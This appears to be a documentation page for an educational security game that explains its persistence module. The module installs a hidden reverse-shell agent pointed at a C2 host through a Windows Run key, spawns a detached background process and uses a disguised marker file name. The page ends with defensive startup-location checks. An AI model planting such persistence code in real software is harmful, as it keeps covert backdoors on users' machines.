Skip to main content
Persistence is the ability to survive a reboot. Without it, malware must re-infect a machine every time it restarts — a significant operational burden. With it, the implant re-launches automatically without any further action from the attacker. cyber_modules/persistence.py implements persistence using the native autostart mechanism of each supported operating system.

The agent command

All three persistence methods install the same command:
agent_cmd = f'"{python_exe}" "{main_game.py}" --bg --host {host}'
  • python_exe — the full path to the current interpreter (sys.executable), ensuring the right Python version is used on reboot.
  • main_game.py — the absolute path to the game entry point.
  • --bg — background mode flag (see Background mode below).
  • --host — the C2 host address baked in at install time.

Platform persistence methods

Windows uses the Registry Run key to launch programs at login. The agent writes to HKCU\Software\Microsoft\Windows\CurrentVersion\Run using the winreg module:
import winreg

key = winreg.OpenKey(
    winreg.HKEY_CURRENT_USER,
    r"Software\Microsoft\Windows\CurrentVersion\Run",
    0,
    winreg.KEY_SET_VALUE
)
winreg.SetValueEx(key, "VirusHunterAgent", 0, winreg.REG_SZ, agent_cmd)
winreg.CloseKey(key)
  • HKCU (current user) requires no administrator privileges — any user account can write here.
  • REG_SZ — the value type is a plain string.
  • The value name VirusHunterAgent is what you will see in Task Manager’s Startup tab or in regedit.
To verify in a real Windows session:
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Background mode

The --bg flag tells main_game.py to skip Pygame entirely and run only the reverse shell. From the actual source:
# In main_game.py — main()
if args.bg:
    # Background mode: Just start the shell and stay alive
    shell = ReverseShell(host=args.host)
    shell._connect_and_shell()
    sys.exit(0)
This is critical for persistence: a GUI window appearing at every login would immediately alert the user. The --bg process is invisible — no window, no taskbar entry, no dock icon.
On Windows, pythonw.exe (instead of python.exe) can be used to launch Python with no console window. The agent command uses sys.executable which may point to either, depending on installation.

Immediate background spawn

In addition to installing the autostart entry, the persistence module also spawns a detached background process immediately, so the shell is running right now without waiting for a reboot:
import subprocess

# cmd_args is [sys.executable, "-m", "game.main_game", "--bg"] for script mode
subprocess.Popen(
    cmd_args,
    creationflags=0x00000008 | 0x00000200,  # DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP
    close_fds=True
)
The creation flags detach the new process from the parent’s console and process group, so closing the game window does not kill the background agent.

The PERSISTENCE_MARKER file

After installing persistence, the module writes a marker file:
cyber_modules/simulated_startup/system_defender_autorun.txt
This file signals to the rest of the game that persistence is active. It is used by the UI to update status indicators, and by the cleanup routine to confirm that removal is complete.
The marker file name is intentionally disguised as a legitimate system file (system_defender_autorun.txt) — reflecting how real malware often uses innocuous-sounding names to avoid suspicion.

Real-world implications

Persistence is one of the MITRE ATT&CK framework’s core tactic categories (TA0003). The three mechanisms used here — Registry Run keys, cron @reboot, and LaunchAgents — are among the most commonly observed persistence techniques in real malware investigations.Real-world examples:
  • Emotet used HKCU\Run registry keys.
  • Silver Sparrow (macOS malware, 2021) used LaunchAgents with RunAtLoad.
  • Many Linux backdoors use @reboot crontab entries.

The educational lesson

After any suspicious activity on a machine, always check startup locations:Windows:
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Linux:
crontab -l
cat /etc/crontab
ls /etc/cron.d/
macOS:
ls ~/Library/LaunchAgents/
ls /Library/LaunchAgents/
ls /Library/LaunchDaemons/
Persistence mechanisms are often the most reliable forensic indicator that a machine has been compromised. Finding an unexpected entry in any of these locations warrants immediate investigation.

Build docs developers (and LLMs) love